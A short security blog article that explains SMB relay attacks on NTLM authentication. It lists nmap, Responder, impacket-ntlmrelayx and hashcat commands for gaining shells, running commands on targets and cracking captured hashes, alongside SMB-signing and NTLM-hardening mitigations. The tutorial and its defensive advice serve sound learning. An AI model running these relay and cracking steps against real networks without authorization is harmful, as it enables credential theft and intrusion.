SMB Relay Attacks: A Deep Dive Into Offensive Security

In this article, we explore the intricacies of SMB Relay Attacks, a common technique used in penetration testing and offensive security. SMB Relay Attacks exploit the NTLM challenge-response protocol, often used in SMB sessions for authentication and encryption. The attacker positions themselves between the client and server to capture data packets, including password hashes and other sensitive information.

Key Commands and Techniques

1. Identify a Host without SMB Enabled

Use Nmap to scan for hosts with SMB disabled:

nmap --script=smb2-security-mode.nse -p445 <ip_address> -Pn

2. Configure Responder for SMB Relay Attack

Modify the Responder configuration file:

sudo mousepad /etc/responder/Responder.conf

3. Set Up NTLM Relay

Use Impacket’s `ntlmrelayx` tool to initiate the attack:

impacket-ntlmrelayx -tf targets.txt -smb2support

4. Gain Interactive Shell Access

Add the `-i` flag for an interactive shell:

impacket-ntlmrelayx -tf targets.txt -smb2support -i

5. Execute Commands on Target

Use the `-c` flag to run commands on the target machine:

impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"

Mitigation Techniques

Enable SMB Signing on all devices to ensure packet integrity.
Disable NTLM Authentication and use more secure protocols like Kerberos.
Implement Account Tiering to limit access to sensitive systems.
Restrict Local Admin Privileges to minimize attack surfaces.

What Undercode Say

SMB Relay Attacks are a powerful tool in the arsenal of a penetration tester, but they also highlight critical vulnerabilities in network security. By understanding how these attacks work, we can better defend against them. Here are some additional commands and techniques to further your knowledge:

Check SMB Signing Status on a Windows machine:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature

Disable NTLM Authentication via Group Policy:
```
gpedit.msc
```

Navigate to:

`Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Network Security: Restrict NTLM: NTLM Authentication in this domain`

– Enable SMB Signing on Windows:

Set-SmbServerConfiguration -RequireSecuritySignature $true

Audit NTLM Usage in your environment:

Get-WinEvent -LogName Security | Where-Object { $<em>.Id -eq 4624 -and $</em>.Properties[8].Value -eq "NTLM" }

Use Kerberos for Authentication instead of NTLM:
```
kinit username@DOMAIN
```
Monitor SMB Traffic with Wireshark:
```
wireshark -k -i <interface> -Y "smb"
```
Harden SMB Configuration on Linux Samba servers:
```
sudo nano /etc/samba/smb.conf
```

Add the following lines:

[global]
server signing = mandatory

Block SMB Ports on your firewall:
```
sudo ufw deny 445
sudo ufw deny 139
```
Use Impacket’s `smbclient` to test SMB connectivity:
```
impacket-smbclient username@target_ip
```
Analyze NTLM Hashes with Hashcat:
```
hashcat -m 5600 ntlm_hash wordlist.txt
```

By implementing these techniques, you can significantly reduce the risk of SMB Relay Attacks in your environment. Always remember to practice ethical hacking and obtain proper authorization before performing any security assessments.

For further reading, check out these resources:

Stay vigilant, keep learning, and always prioritize security in your IT infrastructure.

References:

initially reported by: https://www.linkedin.com/posts/todd-mattran-gogetit_passthetest-getbettereveryday-shareknowledge-activity-7295135158641250304-kC_S – Hackers Feeds
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